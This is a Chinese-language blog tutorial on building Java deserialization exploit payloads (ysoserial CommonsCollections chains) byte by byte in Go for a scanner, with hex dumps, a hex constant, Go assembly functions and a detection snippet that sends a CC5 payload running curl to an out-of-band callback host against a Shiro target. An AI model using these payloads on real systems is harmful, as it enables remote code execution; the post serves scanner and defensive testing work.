java代碼大全及詳解,java二進位表示

最近用Go編寫Java反序列化相關的掃描器,遇到一個難點:如何拿到根據命令生成的payload

通過閱讀已有開源工具的源碼,發現大致有以下兩種解決方案

執行命令法

使用命令執行ysoserial.jar,例如一些python工具用system,popen等函數,拼接命令拿到輸出

二進位角度構造Java反序列化Payload
  • 優點:最簡單的實現,快速上手
  • 缺點:ysoserial.jar過大,並且依賴java環境,並不是很方便

直接用Java編寫

很多工具直接採用Java編寫,生成payload的部分可以脫離ysoserial.jar,結合反射和Javaassist技術做進一步的處理

二進位角度構造Java反序列化Payload
  • 優點:用Java來生成Java的payload是最標準的
  • 缺點:必須由Java編寫的工具才可以

二進位角度構造

反序列化數據本身是有結構的,比如多次生成CC1的payload可以看到只有命令和命令前兩位元組有變化。前面兩位元組表示了命令的長度,所以我們直接拼接一下即可實現CC1

(圖中0008表示命令長度,calc.exe是命令)

二進位角度構造Java反序列化Payload

其實更多的Payload並不是像CC1這麼簡單,比如構造TemplateImpl,過程較複雜

預備

筆者在ysoserial的PayloadRunner里寫代碼導出,並且列印一下HEX,方便比較

private static final char[] hexCode = "0123456789ABCDEF".toCharArray();
public static String printHexBinary(byte[] data) {
  StringBuilder r = new StringBuilder(data.length * 2);
  for (byte b : data) {
    r.append(hexCode[(b >> 4) & 0xF]);
    r.append(hexCode[(b & 0xF)]);
  }
  return r.toString();
}

public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
  ......
  FileOutputStream fos = new FileOutputStream("cc2.bin");
  fos.write(ser);
  System.out.println(printHexBinary(ser));
  ......

分析過程

分析生成的cc2.bin需要用xxd命令:xxd cc2.bin

第一處關鍵點:

0000 069c表示後面cafe babe開頭的class文件長度,以此可以確定payload固定的開頭部分。開頭部分命名為globalPrefix,四位元組的長度變數命名為dataLen

(如何確認到這裡:肉眼審計,排除看上去是常量或系統函數的地方)

00000340: 6767 db37 0200 0078 7000 0000 0275 7200  gg.7...xp....ur.
00000350: 025b 42ac f317 f806 0854 e002 0000 7870  .[B......T....xp
00000360: 0000 069c cafe babe 0000 0032 0039 0a00  ...........2.9..
00000370: 0300 2207 0037 0700 2507 0026 0100 1073  .."..7..%..&...s

以此為根據找到class文件結束位置0x0364+0x069c=0x0a00,從0x364-0x0a00這一部分都是構造templatesImpl的二進位,觀察到7571007e以後的部分都是常量,以此確認結尾部分是7571007e往後至結尾,命名為globalSuffix

000009f0: 0011 0000 000a 0001 0002 0023 0010 0009  ...........#....
00000a00: 7571 007e 0018 0000 01d4 cafe babe 0000  uq.~............
00000a10: 0032 001b 0a00 0300 1507 0017 0700 1807  .2..............
00000a20: 0019 0100 1073 6572 6961 6c56 6572 7369  .....serialVersi

繼續從一開始的cafe babe審計至00000800: 000863616c632e657865,0008表示長度為8的命令calc.exe,以此確認從cafe babe開始的class文件的開頭部分,命名為prefix

000007e0: 7469 6d65 0100 1528 294c 6a61 7661 2f6c  time...()Ljava/l
000007f0: 616e 672f 5275 6e74 696d 653b 0c00 2c00  ang/Runtime;..,.
00000800: 2d0a 002b 002e 0100 0863 616c 632e 6578  -..+.....calc.ex
00000810: 6508 0030 0100 0465 7865 6301 0027 284c  e..0...exec..'(L

因此從0x0364-0x0806為常量:cafebabe…2b002e01

隨後插入2位元組的命令長度和命令本身,可以動態構造,分別命名為cmdLen和cmd

審計至0x0870,發現0x0871-0x087e和0x892-0x089f是兩個相同的數字,長度14。經過多個操作系統的比較,發現這個數字可以是14,15,16。這個數字來源是系統時間,作用只是一個隨機ID。所以我們可以生成隨機的數字,隨機數命名為randNum

在命令和隨機數之間還有一部分多餘的數據,我們將它命名為beforeRand

中間拼接的部分是0x087f-0x0891,也就是01001f4c79736f73657269616c2f50776e6572,分割符命名為split(其實ysoserial/Pwner這個字元串也是可以隨機的,但沒必要再做)

00000850: 000d 5374 6163 6b4d 6170 5461 626c 6501  ..StackMapTable.
00000860: 001d 7973 6f73 6572 6961 6c2f 5077 6e65  ..ysoserial/Pwne
00000870: 7237 3833 3834 3833 3035 3434 3731 3601  r78384830544716.
00000880: 001f 4c79 736f 7365 7269 616c 2f50 776e  ..Lysoserial/Pwn
00000890: 6572 3738 3338 3438 3330 3534 3437 3136  er78384830544716
000008a0: 3b00 2100 0200 0300 0100 0400 0100 1a00  ;.!.............
000008b0: 0500 0600 0100 0700 0000 0200 0800 0400  ................

最後確認class文件的結尾部分,從0x08a0-0x09ff,固定格式3b002100…00100009,命名為suffix,至此可以成功構造出templatesImpl

3B002100020003000100040001001A000500060001000700000002000800040001000A000B000100
0C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C
000100000005000F003800000001001300140002000C0000003F0000000300000001B10000000200
0D00000006000100000034000E00000020000300000001000F003800000000000100150016000100
0000010017001800020019000000040001001A00010013001B0002000C0000004900000004000000
01B100000002000D00000006000100000038000E0000002A000400000001000F0038000000000001
00150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029
000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B100000001003600
0000030001030002002000000002002100110000000A00010002002300100009

實現

通過上文中的命名,可以得出一個簡化後的實現函數

func GetCommonsCollections2(cmd string) []byte {
  ......
  // dataLen取決於TemplateImpl的大小
  // 在TemplateImpl中構造命令
  // 其他都是常量
  templateImpl := GetTemplateImpl(cmd)
  dataLen := calcTemplateImpl(templateImpl)
  ......
  return globalPrefix + dataLen + templateImpl + globalSuffix
}
func GetTemplateImpl(cmd string) []byte {
  ......
  // cmd由用戶輸入
  // cmdLen可以計算得出
  // randNum可以隨機出
  // 其他都是常量
  cmdLen := caclCmdLen(cmd)
  randNum := getRandNum(cmd)
  ......
  return prefix + cmdLen + cmd + beforeRand + randNum + split + randNum + suffix
}

測試

按照思路生成好之後,測試時先用ysoserial生成數據,xxd命令閱讀得到隨機數,把變數randNum替換

然後生成Payload進行判斷,筆者調試過程遇到不少的坑,比如randNum忘記做hex.encode了

而其中cmdLen和dataLen變數其實是無法一眼看出的,筆者能夠確認是因為跑了多次ysoserial,對比分析得出的結果

實踐

筆者在github提交了比較完整的一個庫:https://github.com/EmYiQing/Gososerial

該庫支持了CC1-CC7,CCK1-CCK4,CB1這些鏈,並且經過了驗證沒有問題,可以做到ysoserial的效果

初步確定生成的payload沒問題,進一步確認需要靶機

這裡用了vulhub的shiro550反序列化靶機,用curl命令結合ceye平台,成功觸發

(下圖為筆者用golang編寫的shiro檢測小工具,調用了gososerial的函數,成功執行)

randStr = tool.GetRandomLetter(20)
payload = gososerial.GetCC5("curl " + ceyeInfo.Identifier + "/" + randStr)
log.Info("check %s", gadget.CC5)
SendPayload(key, payload, target)
if checkCeyeResp(ceyeInfo, randStr) {
    log.Info("payload %s success", gadget.CC5)
}
二進位角度構造Java反序列化Payload

總結

整個過程不難,但需要耐心和眼力

其他的反序列化鏈換湯不換藥,甚至TomcatEcho也是類似的原理

因此安全開發者可以在不使用ysoserial的情況下,直接動態生成payload

另外文中這種半猜半測試的實現方式不妥,有興趣的大佬可以參考java底層反序列化的實現,對二進位數據做進一步的分析和構造

原創文章,作者:投稿專員,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/229833.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
投稿專員的頭像投稿專員
上一篇 2024-12-10 13:16
下一篇 2024-12-10 13:16

相關推薦

發表回復

登錄後才能評論